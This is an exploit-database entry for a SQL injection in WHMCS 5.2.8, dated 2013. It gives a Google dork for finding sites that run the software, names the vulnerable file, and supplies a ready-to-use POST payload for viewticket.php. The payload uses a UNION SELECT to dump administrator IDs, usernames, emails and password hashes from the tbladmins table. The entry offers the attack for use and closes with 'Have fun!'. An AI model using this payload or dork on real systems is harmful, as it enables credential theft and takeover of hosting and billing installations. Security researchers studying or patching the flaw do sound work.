WHMCompleteSolution (WHMCS) 5.2.8 - SQL Injection

Author: g00n
type: webapps
platform: php
port: 
date_added: 2013-10-21 
date_updated: 2017-01-24 
verified: 0 
codes: OSVDB-99672 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: WHMCS 5.2.8 SQL Injection
# Google Dork: "powered by WHMCS"
# Date: 10/18/2013
# Exploit Author: g00n ( Xploiter.net )
# Vendor Homepage: http://www.whmcs.com/
# Software Link: http://www.whmcs.com/
# Version: 5.2.8
# Tested on: Windows, Linux

Vulnerable file: /includes/dbfunctions.php

POC:

select_query() function is vulnerable due to Register Globals

Example:

/whmcs/viewticket.php

POST: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#


Have fun!